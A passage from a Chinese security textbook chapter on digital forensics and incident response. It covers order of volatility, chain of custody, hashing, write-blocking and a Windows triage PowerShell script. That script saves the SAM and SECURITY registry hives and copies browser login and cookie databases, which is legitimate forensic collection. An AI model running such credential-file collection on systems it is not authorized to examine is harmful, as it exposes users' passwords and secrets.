新兴攻击面与专项安全 — 数字取证与供应链

📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 4 册 本册内容:第八、九章:数字取证与应急响应 DFIR、软件供应链安全(共 17,172 行)

全 7 册导航:

分册 内容 规模
00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行

| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 | | 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 | | 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 | | 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 ← 本册 | | 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 | | 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |

术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。


第八章:数字取证与应急响应(出事后怎么办)

本章定位:前面七章讲的全是“怎么打进来”。 第八章换一个视角:已经出事了,怎么办。

安全工作的三个阶段:
  事前(Before)  → 加固、防护        ← 前七章的"防御"部分
  事中(During)  → 【检测、遏制、取证】 ← 本章
  事后(After)   → 根除、恢复、复盘    ← 本章

★ 一个残酷的现实:
  你不可能 100% 防住。
  所以"出事之后能不能快速发现、能不能查清楚、能不能恢复"
  和"能不能防住"一样重要 —— 甚至更重要。

本章回答四个问题:
  ① 出事了,先做什么、后做什么?(不能乱,乱了证据就没了)
  ② 怎么从一台机器上找到攻击者的全部痕迹?(取证)
  ③ 怎么把散落各处的日志拼成一条完整的时间线?(时间线分析)
  ④ 怎么让同样的事不再发生第二次?(复盘与改进)

为什么工程师也要学这个

很多后端/全栈工程师觉得“应急响应是安全团队的事”。但现实是:

凌晨 3 点,告警响了:生产服务器 CPU 100%,有个奇怪的进程在跑。

值班的是你。安全团队的人还没到。

这时候你要做的第一件事是什么?

  ❌ 错误答案:kill 掉那个进程,重启服务器,让业务先恢复
     → 进程没了、内存里的证据没了、网络连接断了
     → 安全团队第二天来问"攻击者是怎么进来的",你答不上来
     → ★ 而且攻击者很可能还有后门,你重启完他又回来了

  ✅ 正确答案:先取证、再处置
     1. 保存现场(内存 dump、进程列表、网络连接、关键文件)
     2. 再决定是隔离还是继续运行
     3. 然后才轮到 kill 和重启

这个顺序的差异,决定了这件事【能不能查清楚】。

本文档名词速查(第八章涉及)

名词 白话解释 出处
DFIR Digital Forensics and Incident Response:数字取证 + 应急响应,两个领域的合称 8.1.1
取证(Forensics) 像法医验尸一样,从电脑里找出“发生过什么”的证据 8.1.1
应急响应(IR) 出事后的处置流程:发现 → 遏制 → 根除 → 恢复 → 复盘 8.1.5
易失性顺序 证据按“消失速度”排序:内存最快没、磁盘最慢没,所以先收内存 8.1.3
证据链(Chain of Custody) 记录“证据谁经手过、什么时候、做了什么”,打官司要用 8.1.4
镜像(Image) 把整块硬盘原样复制成一个文件(含已删除内容),取证的基础 8.2.1
哈希校验 给文件算一个“指纹”,证明复制过程中没被改动过 8.1.4
Artifact(痕迹) 系统自动留下的记录(日志、注册表、缓存),取证就靠它们 8.2.1
MFT NTFS 的主文件表:硬盘上每个文件的“户口本”,删了也留痕 8.2.3
USN 日志 NTFS 的“变更流水账”,记录文件的增删改,删了还能查到 8.2.3
Prefetch Windows 的程序运行记录(跑过几次、最后一次什么时候) 8.2.3
Amcache Windows 记录“执行过哪些程序”的数据库,比日志更难删 8.2.3
ShimCache 应用程序兼容性缓存,记录程序执行痕迹(老版本 Windows) 8.2.3
SRUM 系统资源使用监视器:记录每个程序的网络和 CPU 用量 8.2.3
注册表(Registry) Windows 的“大配置数据库”,取证信息密度极高 8.2.2
UserAssist 注册表里记录“用户手动运行过哪些程序”的项(被 ROT13 编码) 8.2.2
BAM / DAM Windows 10+ 记录程序最后执行时间的机制 8.2.2
evtx Windows 事件日志的文件格式(.evtx) 8.2.4
内存取证 分析内存镜像,找进程、网络连接、明文密码、注入的代码 8.2.6
Volatility 最著名的内存取证工具(开源,跨平台) 8.4.1
LiME / AVML Linux 上抓内存镜像的工具 8.3.6
PCAP 网络抓包文件的格式,记录了网络里的每一个包 8.5.1
超级时间线 把机器里所有带时间戳的记录合并成一张总表 8.6.1
Plaso / log2timeline 自动生成超级时间线的工具 8.6.1
IOC 失陷指标:能证明“已经出事”的证据(恶意 IP、文件哈希、域名) 8.7.4
IOA 攻击指标:描述“正在发生的行为”(比 IOC 更早、更通用) 8.7.4
YARA 用于描述和匹配恶意样本特征的“规则语言” 8.7.3
沙箱(Sandbox) 隔离环境里运行可疑文件,看它做什么 8.7.5
MITRE ATT&CK 攻击手法知识库,把攻击者所有招式编成目录 8.8.1
Sigma 通用的日志检测规则格式(类似“日志界的 YARA”) 8.8.5
PDCERF 应急响应六阶段:准备/检测/遏制/根除/恢复/复盘 8.1.5
Timestomping 攻击者修改文件时间戳,伪装成“很久以前就在了” 8.10.2
无责复盘(Blameless Postmortem) 复盘时不追责个人,只找系统和流程的问题 8.9.5

8.1 先讲清楚:DFIR 到底是什么

8.1.1 两个半领域:取证 vs 应急响应

DFIR = Digital Forensics(数字取证)+ Incident Response(应急响应)。

这两个东西目标不同、方法不同、甚至思维方式都不同,但经常一起做,所以合称 DFIR。

维度 数字取证(Forensics) 应急响应(Incident Response)
核心目标 查明真相(发生了什么、怎么发生的、谁干的) 控制损失(止血、恢复业务)
时间敏感性 相对不急,但证据会消失(内存先没) ★极急,每分钟都在损失
思维方式 像法医验尸:冷静、不破坏现场、找证据 像急诊医生:先止血,再查病因
产出 取证报告、时间线、证据(可能用于法庭) 系统恢复、后门清除、改进方案
成功标准 证据链完整、结论可复现 ★ 业务恢复时间(MTTR)最短
典型动作 做镜像、哈希校验、分析 artifact 隔离机器、清后门、重置密码、打补丁

★ 两者的冲突(这是本章第一个考点)

应急响应想:赶紧隔离、赶紧杀进程、赶紧恢复业务
取证想要 :别动!先做镜像!先 dump 内存!

★ 这个冲突是真实存在的,而且没有完美答案。

实务上的处理原则:
  ① 大部分情况下,【先取证再处置】——因为取证的机会只有一次
     进程杀了就没了,内存重启就没了
  ② 但如果【业务正在被严重破坏】(比如勒索软件正在加密文件),
     ★ 那就先切断!证据可以损失,公司不能停摆
  ③ 折中方案(★ 实务最常用):
     - 花 5~10 分钟做【快速取证】(内存 dump + 关键日志导出 + 网络快照)
     - 然后立即处置
     - 这样既保住了最关键的证据,又不耽误止损

生活类比

应急响应=房子着火了,消防员第一反应是灭火救人。 数字取证=火灭了之后,火灾调查员进来看电路、找起火点、判断是意外还是纵火。

冲突在哪?消防员灭火时用水冲,会破坏掉“是不是有人泼了汽油”的痕迹。 所以现实里消防员会尽量保护现场,但不能因为要保护现场就不灭火。

DFIR 的艺术,就是在“快止血”和“留证据”之间找平衡。

8.1.2 取证的四个基本原则

原则一:不改动原始数据(Do Not Modify Original Evidence)

  做法:
    - 必须在【副本】上分析,原始盘只读挂载
    - 用写保护设备(Write Blocker)接原始盘
    - 每一步操作都算哈希

  为什么:
    你在原始盘上打开一个文件,Windows 就会改它的"最后访问时间"
    → 证据被你污染了
    → ★ 如果这案子要上法庭,对方律师一句话就能让你的证据失效

原则二:记录一切(Document Everything)

  做法:
    - 每一条命令、每一个输出、每一个时间点都记下来
    - 用 tee 或 script 记录终端会话
    - 拍屏幕照(重大操作时)

  为什么:
    取证报告要能被【第三方复现】
    三个月后你出庭/复盘,不可能凭记忆说清当时做了什么

原则三:保持证据链(Chain of Custody)

  做法:
    见 8.1.4,用表格记录"谁、什么时候、拿到/交出证据、做了什么"

  为什么:
    没有证据链 = 无法证明"这份证据就是案发时从那台机器上拿的"
    → 法律上无效

原则四:只做有把握的推断(Assume Nothing, Verify Everything)

  做法:
    - "这个文件的创建时间是 X"(事实)
    - "所以攻击者是在 X 之后才进来的"(推断,要说明依据)
    - ★ 两者必须分开写,不能混在一起

  为什么:
    时间戳可以被篡改(Timestomping)、日志可以被伪造
    取证最怕的不是查不到,是【查到了错误的结论还深信不疑】

8.1.3 易失性顺序(Order of Volatility)—— 决定“先收什么”

一句话定义

易失性顺序:按证据“消失速度”从快到慢排序,据此决定采集的先后顺序。

★ 标准顺序(RFC 3227,必背)

┌────────────────────────────────────────────────────────────┐
│ 1. CPU 寄存器、缓存           ★ 纳秒~微秒级,几乎不可能保住    │
│ 2. 路由表、ARP 缓存、进程表、内核统计                          │
│ 3. ★ 内存(RAM)              ★ 断电就没,【最重要】          │
│      - 运行中的进程、网络连接                                 │
│      - 明文密码、解密密钥                                     │
│      - 注入的代码、无文件攻击的全部内容                        │
│      - 被删除的、磁盘上根本不存在的东西                        │
│ 4. 网络连接状态(TCP 连接表)                                 │
│ 5. 临时文件系统(/tmp、页面文件、休眠文件)                    │
│ 6. ★ 磁盘(硬盘 / SSD)       ★ 最持久,但会被覆盖            │
│ 7. 远程日志(SIEM、日志服务器、其他机器上的记录)              │
│ 8. 备份、归档介质                                             │
│ 9. 物理配置、网络拓扑                                         │
└────────────────────────────────────────────────────────────┘

★ 实务简化版(记住这个就够用):
    内存 → 网络连接 → 磁盘/日志 → 远程日志 → 备份
    先内存后磁盘,永远是这个顺序。

★ 为什么要先收内存(这是面试高频)

内存里有【磁盘上根本没有】的东西:

  ① 无文件攻击的全部内容
     PowerShell 内存加载的 payload、反射加载的 DLL
     → 磁盘上没有文件,只有内存里有

  ② 解密后的内容
     加密的 C2 通信,在内存里是明文的
     加密的恶意配置文件,运行时要解密

  ③ 明文凭据 ★
     LSASS 内存里有登录用户的凭据
     浏览器内存里有保存的密码
     → 第七章攻击者要 dump LSASS 就是这个原因

  ④ 当前的网络连接
     连着哪个 C2、传了多少数据
     → 一断网就没了

  ⑤ 被 Rootkit 隐藏的东西
     ★ 磁盘上读到的是被 Rootkit 过滤过的假内容
       内存里读到的是真的
     → 这就是为什么 Rootkit 检测必须看内存

  ⑥ 进程树关系
     谁启动了谁(磁盘上读不到这个关系)
     → 判断"Word 启动了 PowerShell"这种异常全靠它

采集决策表(实战用)

场景 采集什么 为什么这么选
只有 5 分钟 内存 dump + ps/tasklist + netstat/ss 抓最易失的
只有 30 分钟 上面 + 关键日志导出 + 可疑文件哈希 补上日志和文件标识
时间充裕(小时级) 上面 + 完整磁盘镜像 + 全量日志 + 网络抓包 完整取证
机器必须立刻下线 内存 dump(10 分钟内能做完)然后关机 ★ 内存是唯一机会
云上机器 快照(磁盘)+ 内存(如有 Agent)+ 控制台日志 云上不能拔盘

8.1.4 证据链(Chain of Custody)与哈希校验

什么是证据链

证据链:一份按时间顺序记录“这份证据从被收集到现在,经过谁的手、在什么地方、被用来做了什么”的表格。

★ 标准的证据链表格

时间(UTC) 动作 经办人 证据标识 哈希值 交接对象 存储位置 备注
2026-03-15 02:13 从 WS-042 采集内存镜像 张三 IR-2026-0315-WS042-MEM-01 a3f5...(SHA256) — 取证服务器 /evidence/0315/ 使用 DumpIt,采集后即刻计算哈希
2026-03-15 02:31 复制镜像到分析机 张三 同上 a3f5...(一致) 李四 分析机 /cases/0315/ 复制后校验哈希一致
2026-03-15 09:00 李四开始分析 李四 同上 a3f5...(一致) — 分析机 全程只读挂载
2026-03-16 14:20 移交给法务 李四 同上 a3f5...(一致) 王五(法务) 加密归档 加密存储,密钥另行保管

★ 五个必须记录的要素(缺一不可)

① 谁(Who):经办人全名 + 签名/工号
② 什么(What):证据唯一标识 + 哈希值
③ 何时(When):精确到分钟,★ 用 UTC(避免时区混乱)
④ 何地(Where):存储位置、经手的物理位置
⑤ 为什么(Why):这个动作的目的(采集/复制/分析/移交/归还)

★ 缺任何一项,证据链就有"断点",对方律师会抓住这个点质疑整份证据

哈希校验:怎么证明“这份证据没被改过”

# 采集时立即计算哈希(★ 第一时间做)
# Linux
sha256sum memory.raw disk.E01 > hashes.txt
md5sum    memory.raw disk.E01 >> hashes.txt

# Windows PowerShell(★ 比 cmd 的 certutil 清晰)
Get-FileHash .\memory.raw -Algorithm SHA256
Get-FileHash .\disk.E01  -Algorithm SHA256 | Format-List

# ★ 关键:哈希要记录在【多处】
#   - 证据链表格
#   - 单独的哈希文件(也存一份离线副本)
#   - 有条件的话打印出来签字

# 每次复制/移动后都要重新校验
sha256sum -c hashes.txt

★ 常见坑:为什么用 SHA256 而不是 MD5

MD5 已经被证明可以人为构造碰撞(两个不同文件 MD5 相同)
→ 法庭上会被质疑
→ 业界标准是 SHA256(SHA1 也已不推荐)

实务做法:同时算 MD5 和 SHA256
  - MD5 用于快速比对(快、兼容老工具)
  - SHA256 用于法律效力

★ 写保护(Write Blocker)—— 硬件和软件两种方式

硬件写保护:
  物理设备,串在取证机和原始盘之间,硬件层面阻断所有写命令
  ★ 最可靠,法庭认可度最高
  常见:Tableau、WiebeTech

软件写保护(没有硬件时的替代):
  Windows:改注册表
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" ^
            /v WriteProtect /t REG_DWORD /d 1 /f
    ★ 改完必须重启才生效
    ⚠️ 注意:这个注册表项重启后才会应用,而且某些系统会被组策略覆盖
       → 挂载后一定要验证:试着创建一个文件,应该失败

  Linux:只读挂载
    mount -o ro,loop,show_sys_files disk.dd /mnt/evidence
    #              ↑ show_sys_files 让 NTFS 的系统文件($MFT 等)也可见
    # 或者用设备:
    mount -o ro,noexec /dev/sdb1 /mnt/evidence

  ★ 更彻底的:blockdev --setro /dev/sdb

  验证(必做):
    mount | grep evidence        # 确认 ro
    touch /mnt/evidence/test     # 应该报 Read-only file system

8.1.5 应急响应的六个阶段

业界有两套主流模型,本质一样:

模型一:NIST SP 800-61(美国国家标准,业界主流)
  ① Preparation       准备
  ② Detection & Analysis   检测与分析
  ③ Containment, Eradication & Recovery   遏制、根除、恢复
  ④ Post-Incident Activity   事后活动(复盘)

模型二:PDCERF(国内常用,六阶段更细)
  ① Preparation      准备
  ② Detection        检测
  ③ Containment      遏制      ← 本章重点
  ④ Eradication      根除      ← 本章重点
  ⑤ Recovery         恢复
  ⑥ Follow-up        复盘      ← 本章重点

★ 六个阶段详解(PDCERF)

═══ ① 准备(Preparation)—— 平时就要做,不是出事时才做 ═══

  ★ 这是最重要但最容易被忽略的阶段。
    "没有准备的应急响应" = "没有应急响应"

  要准备的东西:
    - 应急预案(不同事件类型的处置剧本)
    - 联系人清单(安全、运维、业务、法务、公关、管理层、外部支援)
      ★ 要包含手机号,凌晨 3 点能打通的那种
    - 工具箱(见 7.11.3 清单 E):取证工具、排查工具、清理工具
      ★ 提前下载好放在应急 U 盘,事发时可能断网
    - 通信渠道(应急群、电话会议桥、带外通信方式)
      ★ 重要:如果攻击者控制了你的邮件系统,你怎么联系同事?
    - 权限准备(应急账号、堡垒机权限)
    - 演练(Tabletop Exercise,见 8.9.6)

═══ ② 检测(Detection)—— 怎么知道出事了 ═══

  四个来源:
    ① 技术告警:EDR、SIEM、IDS、WAF、蜜标
    ② 外部通知:客户投诉、合作伙伴、监管机构、安全厂商、白帽子
       ★ 很多重大事件是【外部告知】的,不是自己发现的
    ③ 内部报告:员工反馈(电脑变慢、文件打不开、有奇怪弹窗)
    ④ 主动发现:威胁狩猎(Threat Hunting)

  检测后的第一件事:【定级】
    严重(Critical):核心业务中断 / 数据大规模泄露 / 域控失陷
    高(High)      :重要系统失陷 / 部分数据泄露
    中(Medium)    :一般系统失陷,影响可控
    低(Low)       :未遂攻击、轻微违规

  ★ 定级的意义:决定投入多少资源、要不要上报、要不要外援

═══ ③ 遏制(Containment)—— 止血 ═══

  目标:阻止损害继续扩大
  关键决策:【怎么隔离】

  短遏制(Short-term,几分钟内):
    - 断网(网络隔离,但机器继续运行)
    - 封 IP / 域名
    - 禁用账号
    - ★ 优先选【网络隔离】而不是关机(保住内存证据)

  长遏制(Long-term,几小时内):
    - 打补丁
    - 临时规则(防火墙、WAF)
    - 业务降级方案

  ★ 五个必须同时考虑的问题:
    ① 隔离会不会让攻击者察觉并加速破坏?
       (勒索软件场景:可能触发立即加密或擦除)
    ② 隔离会不会影响业务连续性?
    ③ 隔离是不是彻底的?(有没有其他通道?双网卡?4G 备份链路?)
    ④ 隔离之后我们还能不能取证?
    ⑤ ★ 隔离的决策权在谁手里?(要提前定好,不能现场吵架)

═══ ④ 根除(Eradication)—— 清除 ═══

  目标:把攻击者彻底赶出去,不留后门

  ★ 关键认知:根除的前提是【查清楚】
    不知道他怎么进来的 → 一定还有别的后门
    ★ "清了 5 个后门" 不等于 "没有第 6 个"

  要做的:
    - 找齐所有持久化(详见第六章 6.3 / 6.5)
    - 找齐所有失陷账号,重置凭据
    - 找齐所有失陷机器
    - 修补入口漏洞
    - ★ 检查备份是不是干净的(勒索软件会先删备份)

  什么时候该"重建"而不是"清理":
    - 攻击持续时间长
    - 后门成体系(Rootkit、域级后门)
    - 日志不完整,无法确认范围
    - ★ 第七章的域场景:DCSync 发生 + 攻击超过 1 个月 → 建议重建

═══ ⑤ 恢复(Recovery)—— 业务回来 ═══

  目标:安全地恢复业务

  五个步骤:
    ① 从【干净】的备份恢复(★ 要先验证备份没被感染)
    ② 打补丁、改配置
    ③ 分阶段上线(先非核心业务,观察)
    ④ ★ 加强监控(恢复后 2~4 周是"复发"高发期)
    ⑤ 验证业务功能完整

  ★ 常见坑:
    - 从被感染的备份恢复 → 又中一次
    - 恢复得太快没观察 → 攻击者又回来了
    - 只恢复了系统没恢复数据一致性

═══ ⑥ 复盘(Follow-up)—— 不再发生第二次 ═══

  ★ 这是整个应急响应里【价值最高】的阶段
    不复盘 = 同样的事件会再来一次

  复盘的产出:
    - 完整的时间线(Timeline)
    - 根本原因分析(Root Cause Analysis)
    - 改进项清单(有 owner、有 deadline)
    - 预案更新
    - 检测规则补充(★ 这次没发现的,下次要能发现)

  ★ 复盘的原则:无责(Blameless),见 8.9.5

面试话术(本章开场必备)

“DFIR 是数字取证和应急响应两个领域的合称,两者目标不同:取证是要查明真相,应急响应是要控制损失。这两个有天然冲突——应急响应想赶紧隔离杀进程恢复业务,取证想要先保现场做镜像。实务上的处理是花 5 到 10 分钟做快速取证(内存 dump、关键日志导出、网络快照),然后立即处置,既保住最关键的证据又不耽误止损。

应急响应按 PDCERF 六个阶段:准备、检测、遏制、根除、恢复、复盘。其中准备阶段最重要但最容易被忽略——没有准备的应急响应等于没有应急响应,工具要提前下载好放在应急 U 盘,联系人清单要有凌晨 3 点能打通的手机号,还要想好如果攻击者控制了邮件系统你怎么联系同事。

取证有四个原则:不改动原始数据、记录一切、保持证据链、只做有把握的推断。还有个关键概念是易失性顺序——按证据消失速度排序,内存最快没、磁盘最慢没,所以永远先收内存。内存里有磁盘上根本没有的东西:无文件攻击的 payload、解密后的内容、明文凭据、当前网络连接、被 Rootkit 隐藏的东西,以及进程树关系。“


8.2 Windows 主机取证

8.2.1 Windows 取证的 Artifact 地图

★ 先建立全局观:Windows 的取证信息散落在五个地方

┌─────────────────────────────────────────────────────────────┐
│                    Windows 主机取证地图                       │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ① 【内存】★ 最易失,最重要                                   │
│     进程树、网络连接、注入代码、明文凭据、解密内容              │
│                                                              │
│  ② 【注册表】★ 信息密度最高                                   │
│     UserAssist(运行过的程序)、BAM/DAM(最后执行时间)         │
│     自启动项、USB 使用记录、网络历史、用户活动                 │
│     文件:                                                    │
│       C:\Windows\System32\config\SYSTEM                      │
│       C:\Windows\System32\config\SOFTWARE                    │
│       C:\Windows\System32\config\SECURITY                    │
│       C:\Windows\System32\config\SAM                         │
│       C:\Users\<user>\NTUSER.DAT                             │
│       C:\Users\<user>\AppData\Local\Microsoft\Windows\UsrClass.dat │
│                                                              │
│  ③ 【文件系统】                                               │
│     $MFT      (所有文件的记录,含已删除)                     │
│     $UsnJrnl  (文件变更流水账)                              │
│     $LogFile  (NTFS 日志)                                   │
│     Prefetch  (程序执行记录)                                │
│     Amcache.hve(执行过的程序)                               │
│     SRUM      (程序网络/CPU 用量)                           │
│     $Recycle.Bin(回收站,含删除前路径)                       │
│     $I30      (目录索引,能恢复已删文件名)                   │
│     Windows\Temp、Users\<user>\AppData\Local\Temp             │
│                                                              │
│  ④ 【日志】                                                   │
│     事件日志(.evtx):Security、System、Application...        │
│     PowerShell Operational(4103/4104)                       │
│     Sysmon/Operational                                       │
│     TerminalServices、WinRM、RDP                             │
│     IIS / Apache / 应用日志                                   │
│     位置:C:\Windows\System32\winevt\Logs\                    │
│                                                              │
│  ⑤ 【应用痕迹】                                               │
│     浏览器(Chrome/Edge/Firefox):历史、下载、Cookie、密码     │
│     最近文件(Recent、Jump Lists、LNK 文件)                   │
│     Office 文档属性                                           │
│     RDP 缓存(Bitmap Cache,★ 能看到远程桌面的画面片段)       │
│     剪贴板、缩略图数据库(thumbcache.db)                      │
└─────────────────────────────────────────────────────────────┘

★ 采集优先级(时间不够时按这个顺序)

必须采集(10 分钟内能做完):
  1. 内存镜像                ★ 第一优先
  2. 事件日志(winevt\Logs 整个目录)
  3. 注册表 hive 文件(SYSTEM/SOFTWARE/SAM/SECURITY/NTUSER.DAT)
  4. $MFT
  5. Amcache.hve + Prefetch

重要(30 分钟内):
  6. $UsnJrnl($J)
  7. SRUM
  8. 全部用户的 NTUSER.DAT 和 UsrClass.dat
  9. 浏览器数据
  10. $Recycle.Bin

完整(完整磁盘镜像):
  11. 整盘镜像(E01 或 DD 格式)

★ 一线采集脚本(PowerShell,无第三方工具)

# collect_triage.ps1 —— Windows 快速取证采集
# 用法:以管理员执行,输出到 U 盘或网络共享
param(
    [string]$OutDir = "D:\IR_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
)

$ErrorActionPreference = "Continue"
New-Item -ItemType Directory -Path $OutDir -Force | Out-Null
$log = Join-Path $OutDir "collection_log.txt"

function Log($msg) {
    $line = "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')] $msg"
    Write-Host $line
    Add-Content -Path $log -Value $line
}

Log "=== 开始取证采集 ==="
Log "计算机名: $env:COMPUTERNAME"
Log "当前用户: $env:USERDOMAIN\$env:USERNAME"
Log "输出目录: $OutDir"

# ── ① 系统基本信息(先记下来,后面时间线要用)──
Log "[1/12] 系统信息"
Get-ComputerInfo | Out-File "$OutDir\systeminfo.txt"
Get-Date -Format "yyyy-MM-dd HH:mm:ss zzz" | Out-File "$OutDir\localtime.txt"
# ★ 时区非常重要!后面做时间线全靠它
tzutil /g | Out-File "$OutDir\timezone.txt"
# ★ 系统启动时间(判断攻击者活动窗口)
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Out-File "$OutDir\lastboot.txt"

# ── ② 进程与网络(★ 最易失,最先抓)──
Log "[2/12] 进程与网络"
Get-Process | Select-Object Id, ProcessName, Path, StartTime, @{n='CmdLine';e={(Get-CimInstance Win32_Process -Filter "ProcessId=$($_.Id)").CommandLine}} |
    Export-Csv "$OutDir\processes.csv" -NoTypeInformation
# ★ 用 WMI 拿完整命令行(Get-Process 拿不到)
Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine, CreationDate |
    Export-Csv "$OutDir\processes_full.csv" -NoTypeInformation
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess |
    Export-Csv "$OutDir\netstat.csv" -NoTypeInformation
Get-NetUDPEndpoint | Export-Csv "$OutDir\udp.csv" -NoTypeInformation
ipconfig /all | Out-File "$OutDir\ipconfig.txt"
arp -a | Out-File "$OutDir\arp.txt"
Get-NetRoute | Out-File "$OutDir\routes.txt"
Get-DnsClientCache | Export-Csv "$OutDir\dnscache.csv" -NoTypeInformation

# ── ③ 登录会话与用户 ──
Log "[3/12] 会话与用户"
query user | Out-File "$OutDir\sessions.txt"
Get-LocalUser | Out-File "$OutDir\localusers.txt"
Get-LocalGroupMember -Group "Administrators" | Out-File "$OutDir\localadmins.txt"
net share | Out-File "$OutDir\shares.txt"

# ── ④ 持久化检查(★ 第六章的内容,这里快速过一遍)──
Log "[4/12] 持久化检查"
$runKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
)
foreach ($k in $runKeys) {
    if (Test-Path $k) {
        "=== $k ===" | Out-File "$OutDir\persistence_run.txt" -Append
        Get-ItemProperty $k | Out-File "$OutDir\persistence_run.txt" -Append
    }
}
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
    Select-Object TaskName, TaskPath, State, @{n='Action';e={$_.Actions.Execute + " " + $_.Actions.Arguments}} |
    Export-Csv "$OutDir\tasks.csv" -NoTypeInformation
Get-Service | Where-Object { $_.Status -eq "Running" } |
    Select-Object Name, DisplayName, Status, StartType, PathName |
    Export-Csv "$OutDir\services.csv" -NoTypeInformation
# ★ WMI 持久化(最容易漏)
Get-WmiObject -Namespace root\Subscription -Class __EventFilter      | Out-File "$OutDir\wmi_filters.txt"
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer | Out-File "$OutDir\wmi_consumers.txt"
Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding | Out-File "$OutDir\wmi_bindings.txt"

# ── ⑤ 事件日志(整个目录拷走)──
Log "[5/12] 事件日志"
$evtDir = Join-Path $OutDir "eventlogs"
New-Item -ItemType Directory -Path $evtDir -Force | Out-Null
Copy-Item "C:\Windows\System32\winevt\Logs\*.evtx" $evtDir -Force -ErrorAction SilentlyContinue

# ── ⑥ 注册表 hive 文件 ──
Log "[6/12] 注册表文件"
$regDir = Join-Path $OutDir "registry"
New-Item -ItemType Directory -Path $regDir -Force | Out-Null
foreach ($f in @("SYSTEM","SOFTWARE","SAM","SECURITY")) {
    Copy-Item "C:\Windows\System32\config\$f" $regDir -Force -ErrorAction SilentlyContinue
}
# ★ 用 reg save 更可靠(能读到被占用的 hive)
reg save HKLM\SYSTEM   "$regDir\SYSTEM.hiv"   /y 2>&1 | Out-Null
reg save HKLM\SOFTWARE "$regDir\SOFTWARE.hiv" /y 2>&1 | Out-Null
reg save HKLM\SAM      "$regDir\SAM.hiv"      /y 2>&1 | Out-Null
reg save HKLM\SECURITY "$regDir\SECURITY.hiv" /y 2>&1 | Out-Null

# ── ⑦ 文件执行痕迹 ──
Log "[7/12] 执行痕迹"
$exeDir = Join-Path $OutDir "execution"
New-Item -ItemType Directory -Path $exeDir -Force | Out-Null
Copy-Item "C:\Windows\Prefetch\*.pf" $exeDir -Force -ErrorAction SilentlyContinue
Copy-Item "C:\Windows\AppCompat\Programs\Amcache.hve" $exeDir -Force -ErrorAction SilentlyContinue
Copy-Item "C:\Windows\System32\config\SYSTEM" "$exeDir\SYSTEM_for_shimcache.hiv" -Force -ErrorAction SilentlyContinue
# ★ ShimCache 和 Amcache 在 SYSTEM hive 里,需要专门解析

# ── ⑧ $MFT 与 USN 日志 ──
Log "[8/12] 文件系统元数据"
$fsDir = Join-Path $OutDir "filesystem"
New-Item -ItemType Directory -Path $fsDir -Force | Out-Null
# ★ 用 rawcopy / 或用 ESENTUTL 提取 $MFT
#   方法:esentutl /y "C:\$MFT" /d "$fsDir\MFT" /vss   (需要 VSS)
#   或者用第三方工具,见下

# ── ⑨ SRUM(程序的网络与 CPU 用量)──
Log "[9/12] SRUM"
Copy-Item "C:\Windows\System32\sru\SRUDB.dat" $OutDir -Force -ErrorAction SilentlyContinue
Copy-Item "C:\Windows\System32\config\SOFTWARE" "$OutDir\SOFTWARE_for_srum.hiv" -Force -ErrorAction SilentlyContinue

# ── ⑩ 每个用户的 NTUSER.DAT ──
Log "[10/12] 用户注册表"
$usrDir = Join-Path $OutDir "userhives"
New-Item -ItemType Directory -Path $usrDir -Force | Out-Null
Get-ChildItem "C:\Users" -Directory | ForEach-Object {
    $u = $_.Name
    Copy-Item "C:\Users\$u\NTUSER.DAT" "$usrDir\${u}_NTUSER.dat" -Force -ErrorAction SilentlyContinue
    Copy-Item "C:\Users\$u\AppData\Local\Microsoft\Windows\UsrClass.dat" "$usrDir\${u}_UsrClass.dat" -Force -ErrorAction SilentlyContinue
}

# ── ⑪ 浏览器数据 ──
Log "[11/12] 浏览器数据"
$brDir = Join-Path $OutDir "browsers"
New-Item -ItemType Directory -Path $brDir -Force | Out-Null
# Chrome / Edge
Get-ChildItem "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default" -File -ErrorAction SilentlyContinue |
    Where-Object { $_.Name -in @("History","Cookies","Login Data","Web Data","Downloads") } |
    ForEach-Object { Copy-Item $_.FullName $brDir -Force -ErrorAction SilentlyContinue }

# ── ⑫ 计算哈希(★ 最后一步,必做)──
Log "[12/12] 计算哈希"
Get-ChildItem $OutDir -Recurse -File | Get-FileHash -Algorithm SHA256 |
    Export-Csv "$OutDir\evidence_hashes.csv" -NoTypeInformation

Log "=== 采集完成 ==="
Log "★ 请填写证据链表格:采集人 / 时间 / 设备标识 / 证据去向"

★ 三个采集时必须注意的坑

坑一:采集顺序错了(先拷文件后 dump 内存)
  后果:拷贝大文件耗时几十分钟,期间攻击者可能已经察觉并清场
  正确:★ 先内存,后磁盘 —— 永远这个顺序

坑二:把输出写到本地磁盘
  后果:污染原始盘(写入大量数据可能覆盖已删除的空闲空间)
